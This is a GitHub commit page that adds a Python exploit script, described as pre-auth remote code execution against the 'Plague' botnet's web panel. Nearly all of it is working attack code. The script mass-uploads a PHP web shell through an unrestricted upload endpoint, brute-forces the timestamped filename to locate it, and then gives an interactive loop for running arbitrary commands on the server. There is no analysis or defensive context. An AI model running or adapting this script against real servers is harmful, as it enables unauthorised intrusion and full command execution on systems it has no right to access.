STRLCPY/3sjay-sploits

exploit code for plague botnet, pre-auth RCE
```
can be improved by checking the server time
```
3sjay committed with GitHub 2 years ago

9e19ec73

1 parent 66515660

Total 1 files

■ ■ ■ ■ ■ ■

plague_botnet_rce.py

1	+	import requests
2	+	import threading
3	+	import time
4	+	import sys
5	+
6	+	def upload(host):
7	+
8	+	url = f"{host}/result.php?GUID=bla&RT=bla2&ID=fakeid&Continue=2"
9	+
10	+	data = {"Nick" : "nickname", "OS" : "windows", "Comp" : "Compyoyo", "User" :"fakeuser", "CPU" : "CPU123", "GPU" : "GGPU1", "Anti" : "av1", "Def" : "Defender", "Inf" :"infa12", "GUID" : "fakeguid", "RT" : 2, "ID" : "fakeid", "Continue":2}
11	+
12	+
13	+	files = { "File" : ( "x.php" , b"<?php system($_REQUEST['cmd']); ?>") }
14	+
15	+	r = requests.post(url, data=data,files=files, verify=False)
16	+
17	+
18	+	tValue = 0
19	+	shellUrl = None
20	+	theLock = threading.Lock()
21	+
22	+
23	+	def finder(host):
24	+	global tValue
25	+	global shellUrl
26	+	global theLock
27	+
28	+	while shellUrl is None:
29	+	try:
30	+	url = f"{host}/uploads/{tValue}_x.php"
31	+	r = requests.get(url)
32	+	if r.status_code == 200:
33	+	shellUrl = url
34	+	except:
35	+	pass
36	+	finally:
37	+	theLock.acquire()
38	+	tValue += 1
39	+	theLock.release()
40	+
41	+
42	+	def execCmd(url, cmd="id"):
43	+	data = {"cmd" : cmd}
44	+	r = requests.post(url, data=data)
45	+	return r.text
46	+
47	+
48	+	def main():
49	+	if len(sys.argv) != 2:
50	+	print(f"Usage: {sys.argv[0]} <host>")
51	+	print(f"Example: {sys.argv[0]} https://evilhost.com")
52	+	sys.exit(1)
53	+
54	+	global tValue
55	+	global shellUrl
56	+
57	+	print("[*] Uploading files ...")
58	+	# start uploading
59	+	for i in range(100):
60	+	t = threading.Thread(target=upload, args=(sys.argv[1],))
61	+	t.start()
62	+
63	+	tValue = int(time.time()*1000)
64	+	finderThreads = []
65	+
66	+	# start trying to find one of the shells
67	+	print("[*] Searching for our shell ...")
68	+	for i in range(30):
69	+	t = threading.Thread(target=finder, args=(sys.argv[1],))
70	+	t.start()
71	+	finderThreads.append(t)
72	+
73	+	while shellUrl is None:
74	+	time.sleep(1)
75	+
76	+
77	+	print(f"[+] Found shell @ {shellUrl}\n")
78	+	print(execCmd(shellUrl))
79	+
80	+	while 1:
81	+	cmd = input("> ")
82	+	print(execCmd(shellUrl, cmd))
83	+
84	+
85	+	if __name__ == '__main__':
86	+	main()
87	+

exploit code for plague botnet, pre-auth RCE